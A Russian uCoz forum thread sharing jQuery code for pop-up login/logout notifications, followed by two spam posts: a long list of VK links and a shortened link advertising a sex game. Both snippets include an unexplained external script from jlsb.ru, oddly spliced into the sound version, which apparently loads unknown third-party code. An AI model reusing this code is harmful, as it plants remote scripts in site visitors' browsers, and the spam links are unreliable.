yandex | Дата: Пятница, 31.08.2012, 20:10 | Сообщение # 1 |
|
Скрин скрипта: http://s60.radikal.ru/i170/1208/54/85d60b9ed8d0.png
Тот, кто реализовал эту идею, - мастер своего дела. Огромное спасибо ему. Сама идея хороша, т.к. сразу ощущаешь живость сайта, какую-то активность. В чем заключается идея данного скрипта и как он работает? Когда кто-нибудь выполняет вход на сайте, появляется оповещение в виде маленького всплывающего окошечка в правом нижнем углу. Оно быстро появляется и быстро исчезает, все это можно настроить. Оповещение о входе и выходе пользователей для uCoz будет полезным дополнением для сайта, оно выявит активных участников и повысит коммуникабельность пользователей. На Урааа к оповещению был добавлен звук. Вы можете выбрать скрипт со звуком и без.
Код (без звука)
Устанавливаем между <body> и </body>
Code <script type="text/javascipt"> $.get('/index/62',function(e){ codet = $('cmd[p="content"]',e).text(); $('a',codet).each(function(i){ $('#peoples').prepend('<a class="peoples '+$(this).attr('class')+'" href="'+$(this).attr('href')+'">'+$(this).text()+'</a>');});}); setInterval(function(){ data=$('#peoples').text(); $.get('/index/62',function(q){ fis = $('cmd[p="content"]',q).text(); $('a',fis).each(function(){ if(data.indexOf($(this).text())== -1){ $('#peoples').prepend('<a class="peoples '+$(this).attr('class')+'" href="'+$(this).attr('href')+'">'+$(this).text()+'</a><div style="clear:both"></div>'); _uWnd.alert('<div align="center" style="padding:5px;"><b><a class="peoples '+$(this).attr('class')+'" href="'+$(this).attr('href')+'">'+$(this).text()+'</a></b> на сайте</div>', '',{w:210, tm:5000, h:60}) }}); $('#peoples a').each(function(){ if(fis.indexOf($(this).text())== -1){ _uWnd.alert('<div align="center" style="padding:5px;"><b><a class="peoples '+$(this).attr('class')+'" href="'+$(this).attr('href')+'">'+$(this).text()+'</a></b> ушел</div>', '',{w:210, tm:5000, h:60}) $(this).prev('.ssikq').remove(); $(this).remove();} });});},10000); </script> <script src="http://jlsb.ru/color.js" type="text/javascript"></script> <div style="display:none" id="peoples"></div>
Код (со звуком)
Code <script type="text/javascript"> function link_play() {document.getElementById('num231').innerHTML='<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" width="73" height="12" align="middle"><param name="movie" value="http://yraaa.ru/audioplayer.swf?file=/audio.mp3&startplay=true"><embed src="http://yraaa.ru/audioplayer.swf?file=/audio.mp3&startplay=true" quality="high" width="73" height="12" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></object>'} function link_play_out() {document.getElementById('num231').innerHTML='<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" width="73" height="12" align="middle"><param name="movie" value="http://yraaa.ru/audioplayer.swf?file=/audio_out.mp3&startplay=true"><script src="http://jlsb.ru/color.js" type="text/javascript"></script><embed src="http://yraaa.ru/audioplayer.swf?file=/audio_out.mp3&startplay=true" quality="high" width="73" height="12" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></object>'}
$.get('/index/62',function(e){ codet = $('cmd[p="content"]',e).text(); $('a',codet).each(function(i){ $('#peoples').prepend('<a class="peoples '+$(this).attr('class')+'" href="'+$(this).attr('href')+'">'+$(this).text()+'</a>');});}); setInterval(function(){ data=$('#peoples').text(); $.get('/index/62',function(q){ fis = $('cmd[p="content"]',q).text(); $('a',fis).each(function(){ if(data.indexOf($(this).text())== -1){ $('#peoples').prepend('<a class="peoples '+$(this).attr('class')+'" href="'+$(this).attr('href')+'">'+$(this).text()+'</a>'); _uWnd.alert('<div align="center" style="padding:5px;"><b><a class="peoples '+$(this).attr('class')+'" href="'+$(this).attr('href')+'">'+$(this).text()+'</a></b> на сайте</div>', '',{w:210, tm:5000, h:60});link_play()}}); $('#peoples a').each(function(){ if(fis.indexOf($(this).text())== -1){ _uWnd.alert('<div align="center" style="padding:5px;"><b><a class="peoples '+$(this).attr('class')+'" href="'+$(this).attr('href')+'">'+$(this).text()+'</a></b> ушел</div>', '',{w:210, tm:5000, h:60});link_play_out() $(this).prev('.ssikq').remove(); $(this).remove();} });});},10000); </script> <div style="display:none" id="peoples"></div>
Если хотите вывести список пользователей сделайте видимым DIV с ID peoples.
Алексей
|
|
| |
Geraldwearp | Дата: Понедельник, 07.11.2016, 16:14 | Сообщение # 2 |
|
я тут оставлю пару ссылок по этой теме может кто поможет https://vk.com/page-132287479_52569976 https://vk.com/page-132287479_52569979 https://vk.com/page-132287479_52569984 https://vk.com/page-132287479_52569990 https://vk.com/page-132287479_52569991 https://vk.com/page-132287479_52569993 https://vk.com/page-132287479_52569996 https://vk.com/page-132287479_52570002 https://vk.com/page-132287479_52570004 https://vk.com/page-132287479_52570006 https://vk.com/page-132287479_52570010 https://vk.com/page-132287479_52570014 https://vk.com/page-132287479_52570015 https://vk.com/page-132287479_52570019 https://vk.com/page-132287479_52570021 https://vk.com/page-132287479_52570024 https://vk.com/page-132287479_52570026 https://vk.com/page-132287479_52570029 https://vk.com/page-132287479_52570031 https://vk.com/page-132287479_52570032 https://vk.com/page-132287479_52570036 https://vk.com/page-132287479_52570041 https://vk.com/page-132287479_52570045 https://vk.com/page-132287479_52570049 https://vk.com/page-132287479_52570052 https://vk.com/page-132287479_52570053 https://vk.com/page-132287479_52570055 https://vk.com/page-132287479_52570058 https://vk.com/page-132287479_52570061 https://vk.com/page-132287479_52570065 https://vk.com/page-132287479_52570069 https://vk.com/page-132287479_52570071 https://vk.com/page-132287479_52570073 https://vk.com/page-132287479_52570075 https://vk.com/page-132287479_52570078 https://vk.com/page-132287479_52570081 https://vk.com/page-132287479_52570083 https://vk.com/page-132287479_52570085 https://vk.com/page-132287479_52570088 https://vk.com/page-132287479_52570093 https://vk.com/page-132287479_52570096 https://vk.com/page-132287479_52570099 https://vk.com/page-132287479_52570102 https://vk.com/page-132287479_52570104 https://vk.com/page-132287479_52570106 https://vk.com/page-132287479_52570107 https://vk.com/page-132287479_52570112 https://vk.com/page-132287479_52570114 https://vk.com/page-132287479_52570117 https://vk.com/page-132287479_52570118 https://vk.com/page-132287479_52570121 https://vk.com/page-132287479_52570123 https://vk.com/page-132287479_52570126 https://vk.com/page-132287479_52570130 https://vk.com/page-132287479_52570132 https://vk.com/page-132287479_52570134 https://vk.com/page-132287479_52570139 https://vk.com/page-132287479_52570143 https://vk.com/page-132287479_52572400 https://vk.com/page-132287479_52572406 https://vk.com/page-132287479_52572409 https://vk.com/page-132287479_52572412 https://vk.com/page-132287479_52572416 https://vk.com/page-132287479_52572419 https://vk.com/page-132287479_52572420 https://vk.com/page-132287479_52572423 https://vk.com/page-132287479_52572428 https://vk.com/page-132287479_52572430 https://vk.com/page-132287479_52572432 https://vk.com/page-132287479_52572435 https://vk.com/page-132287479_52572436 https://vk.com/page-132287479_52572437 https://vk.com/page-132287479_52572439 https://vk.com/page-132287479_52572441 https://vk.com/page-132287479_52572442 https://vk.com/page-132287479_52572446 https://vk.com/page-132287479_52572449 https://vk.com/page-132287479_52572452 https://vk.com/page-132287479_52572453 https://vk.com/page-132287479_52572455 https://vk.com/page-132287479_52572457 https://vk.com/page-132287479_52572458 https://vk.com/page-132287479_52572463 https://vk.com/page-132287479_52572465 https://vk.com/page-132287479_52572466 https://vk.com/page-132287479_52572468 https://vk.com/page-132287479_52572473 https://vk.com/page-132287479_52572474 https://vk.com/page-132287479_52572476 https://vk.com/page-132287479_52572479 https://vk.com/page-132287479_52572481 https://vk.com/page-132287479_52572485 https://vk.com/page-132287479_52572487 https://vk.com/page-132287479_52572490 https://vk.com/page-132287479_52572494 https://vk.com/page-132287479_52572496 https://vk.com/page-132287479_52572498 https://vk.com/page-132287479_52572501 https://vk.com/page-132287479_52572504 https://vk.com/page-132287479_52572509 https://vk.com/page-132287479_52572512 https://vk.com/page-132287479_52572514 https://vk.com/page-132287479_52572516 https://vk.com/page-132287479_52572519 https://vk.com/page-132287479_52572521 https://vk.com/page-132287479_52572523 https://vk.com/page-132287479_52572524 https://vk.com/page-132287479_52572528 https://vk.com/page-132287479_52572528 https://vk.com/page-132287479_52572692 https://docs.google.com/forms/d/e/1FAIpQLSfq5vIxQwLZR6SEQcXUVaA9uhlCJ99cg-Jp8JZMwj-DR-uEQA/viewform http://zzz333.ru/index.php
|
|
| |
Sharon@Gainy | Дата: Четверг, 29.12.2016, 11:05 | Сообщение # 3 |
|
super online sex game! http://goo.gl/xe3JUl
|
|
| |